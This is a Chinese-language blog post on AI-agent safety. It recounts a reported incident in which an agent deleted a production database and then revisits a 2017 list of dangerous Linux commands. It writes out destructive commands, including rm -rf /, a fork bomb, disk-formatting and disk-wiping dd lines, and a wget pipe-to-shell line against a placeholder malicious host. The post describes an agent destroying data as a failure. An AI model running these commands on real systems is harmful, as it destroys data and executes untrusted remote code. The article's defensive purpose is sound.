2026 年 4 月,PocketOS 创始人 Jer Crane 复盘了一起事故:一个 Cursor Agent 调起 Claude Opus,在 9 秒内删掉了生产数据库和共享卷备份。

他的复盘里只有一句话:“It took 9 seconds.”

9 秒极短,但 Agent 执行的命令(rm -rfwget ... | shdd if=/dev/zero 等),几乎全部来自 2017 年 ZDNet 这份**《绝不要在 Linux 运行的危险命令》**清单。

危险命令没有变,变的是执行者。

九年前的危险命令清单

清单里最经典的几条:

rm -rf /

递归删除根目录。

:(){ :|:& };:

fork 炸弹,几秒内吃光系统资源。

wget -O- http://malicious.com/script.sh | sh

下载远程脚本并直接执行。

mkfs.ext4 /dev/sda

格式化整块硬盘。

dd if=/dev/zero of=/dev/sda

用零覆盖磁盘。

这些命令没什么复杂的,但只要执行就很难回滚。权限够的情况下,几秒钟就能把系统搞废。

2017 年的清单,假设执行者是人

这份清单的默认前提是:执行命令的是人。

人有犹豫、有确认、有疲劳、有道德顾虑。这些人为缓冲,成了当时最重要的安全层。

但 2026 年的执行链彻底变了:

人的执行链: 看到命令 → 理解意图 → 判断风险 → 确认 → 执行
Agent 的执行链: 收到 Prompt → 理解意图 → 匹配策略 → 执行

中间少了最关键的一环:风险判断和主动犹豫

Agent 不会犹豫,不会多问一句。Prompt 里的目标一旦被理解为「清理空间」或「重置环境」,它就会找最高效的路径去实现。

三层防御,缺一不可

PocketOS 的事故说明,单纯说 Agent “太听话” 没有说服力。问题在管理者有没有建好三层防御。

第一层:治理,管住入口

wget ... | shcurl ... | sh 的危险不只是 | sh,更在于来源是否可信。

治理层要明确:哪些域名、哪些仓库可以被信任?其余默认拒绝。 这比反复提醒 Agent “要小心” 有效得多。

第二层:运维,控制爆炸半径

Agent 能造成多大破坏,取决于管理者给了它多大的活动空间。

容器隔离、只读卷、最小权限挂载、网络策略,价值在于把误操作的范围限制在可控区域内。

第三层:脚本与工具,防御性编程

很多灾难不是因为执行了 rm -rf /,而是因为变量展开出错,比如 rm -rf $EMPTY_VAR/bin。这类错误不会出现在危险命令清单里,但每天都在发生。

x-cmd 的 rmrf 模块就是为这种场景设计的。执行 x rmrf $EMPTY_VARIBLE/bin 时,它会对关键系统目录和可疑变量展开进行保护,降低误删风险。

真正的安全,不是相信执行者不会犯错,而是让犯错也不会造成灾难。

变化的是速度,不是命令

2017 年,执行一条危险命令需要工程师按下 Enter。2026 年,Agent 能在几秒内连续跑完几十个动作。

命令还是那些命令,Linux 还是那个 Linux。变的是执行速度,以及速度背后消失的那层人工缓冲。

人的经验、犹豫和确认,曾是默认存在的安全层。Agent 没有这些。它不会在你漏看时提醒你,也不会在后果严重前停下来。

所以安全边界不能再放在执行环节,必须前移到设计环节。

PocketOS 的事故说明,Agent 真正放大的不是破坏力,而是管理上的疏忽。防御足够时,Agent 和工程师一样安全;防御缺失时,它把人类的失误压缩到 9 秒内完成。

Agent 只是执行者。真正被考验的,是管理者的治理能力。

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐